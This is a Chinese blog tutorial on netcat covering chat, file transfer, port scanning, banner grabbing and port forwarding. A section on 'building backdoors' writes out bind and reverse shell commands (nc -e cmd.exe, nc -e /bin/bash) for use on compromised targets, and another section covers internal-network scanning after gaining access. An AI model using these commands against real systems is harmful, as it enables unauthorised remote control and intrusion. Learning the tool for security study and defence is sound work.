netcat工具的使用(一)

2020-09-20  本文已影响0人  讲武德的年轻人

介绍

Netcat 是一款简单的Unix工具,使用UDP和TCP协议。 它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。 使用它你可以轻易的建立任何连接。内建有很多实用的工具。

netcat的下载安装

1. netcat基本使用

i. 使用nc互相通信

nc -l -p [localhost]
-l 表示监听
-p 加监听端口号

nc remote_ip remote_port

这样就相当于建立了一个对话连接,双方可以互相通信,但不能对机器执行相关操作
用我的两台笔记本测试下:
服务端(内网IP:192.168.0.111):


服务端操作,启动一个连接并监听4444端口

客户端(内网IP:192.168.0.107):


客户端操作
ii. 将服务端的shell返回

创建一个服务端方法:

nc -l -p [localhost] -e cmd.exe
nc -l -p [localhost] -e /bin/bash

创建一个客户端(连接服务端):

nc remote_ip remote_port

下面进行演示

2. netcat文件传输

使用场景

为什么可以直接利用nc进行文件传输呢?
nc中的数据传输 使用的是标准的输入、输出流,所以可以直接利用命令行来进行操作。

服务端向客户端传送文件
创建一个服务器端方法(发文件):

nc -l -p [localport] > outfile

创建一个客户端方法(连接服务端)(收文件):

nc remote_ip remote_port < infile
举例:
在服务端桌面创建文件flag.txt,并写入以下内容:


发文件flag.txt
客户端收文件:
客户端收文件命令
客户端收到的文件内容

客户端也可以向服务端发送文件,双方建立连接的时候,输入输出箭头相反就行了

解决方法:设置等待时间。

nc -w3 [ip] [port]

设置等待3秒钟,超过3秒钟,客户端直接关闭等待连接。

3. netcat信息探测

使用场景
  1. 目标内网的扫描
    当获得目标权限之后,如果目标没有任何途径可以对内网进行探测,但此时刚好具有一个netcat的话,就可以使用netcat进行内网ip和端口的扫描。
  2. 单纯对某个目标进行端口探测
    当手头没有任何探测工具可以使用netcat进行端口探测
  3. 对目标的服务banner进行抓取
    通过netcat对目标端口进行探测。

端口探测:

nc -v -n -z -w1 [target_ip] [start_target_port-stop_target_port]
-v 表示对错误进行详细输出
-n 不对目标机器进行DNS解析
-z zero I/O 模式,专用于端口扫描。表示对目标IP发送的数据表中不包含任何payload,这样做可以加快扫描的速度。
-w1 超时设置为1秒。

举例:

banner信息抓取
方法:

echo “ ” | nc -v -n -w1 [target_ip] [start_target_port-stop_target_port]

举例:


获取banner信息

4. netcat建立后门

使用场景:
1、获取目标的命令执行权限
当目标机器上存在netcat之后,可以使用netcat建立后门,来实现执行目标命令的功能
为什么可以使用netcat建立后门,并返回操作结果?
原理:netcat一切数据时通过标准输入/输出流实现的,所以可以利用netcat的命令行进行后门建立,并传输结果信息。

i. Windows建立后门的方法

监听型后门

nc -l -p 4444 -e cmd.exe

连接型后门

nc [remote_ip] [remote_port] -e cmd.exe

ii. Linux建立后门的方法

监听型后门

nc -l -p 4444 -e /bin/bash

连接型后门

nc [remote_ip] [remote_port] -e /bin/bash

5. netcat命令参数

C:\Users\Administrator\Desktop>nc64.exe.lnk -h
[v1.11 NT www.vulnwatch.org/netcat/]
connect to somewhere:   nc [-options] hostname port[s] [ports] ...
listen for inbound:     nc -l -p port [options] [hostname] [port]
options:
        -d              detach from console, background mode

        -e prog         inbound program to exec [dangerous!!]
        -g gateway      source-routing hop point[s], up to 8
        -G num          source-routing pointer: 4, 8, 12, ...
        -h              this cruft
        -i secs         delay interval for lines sent, ports scanned
        -l              listen mode, for inbound connects
        -L              listen harder, re-listen on socket close
        -n              numeric-only IP addresses, no DNS
        -o file         hex dump of traffic
        -p port         local port number
        -r              randomize local and remote ports
        -s addr         local source address
        -t              answer TELNET negotiation
        -u              UDP mode
        -v              verbose [use twice to be more verbose]
        -w secs         timeout for connects and final net reads
        -z              zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]

-d 脱离命令窗口,在后台运行,常用于后门建立过程
-e 执行某个程序,常用于后门建立过程
-G gateway 设置网关,常用于突破内网限制
-g num 路由跳数
-i sec 设置发送每一行数据的时间间隔
-l 设置netcat处于监听状态等待连接
-L 设置netcat处于监听状态等待连接,当客户端断开,服务端依旧回到等待状态
-n 设置netcat只识别ip地址,不在进行DNS解析
-o file 设置传输十六进制的数据
-p port 设置本地监听的端口号
-r 设置netcat随机化的端口号
-s addr 设置netcat源地址
-t 回复telnet的请求数据包
-u 设置netcat使用UDP模式
-v 显示错误提示信息
-w secs 设置连接超时秒数
-z 设置扫描模式,表示发送的数据包中不包含任何payload

6. netcat连接转发

为什么需要连接转发?突破某些特殊情况下的连接限制,以及处理一些特殊情况。

echo nc [target] [port] > delay.bat

nc -l -p [localport] -e delay.bat

当有客户端连接该服务端时,连接的客户端和通过服务端连接到 target port上实现了连接转发功能。(端口转发)

上一篇 下一篇

猜你喜欢

热点阅读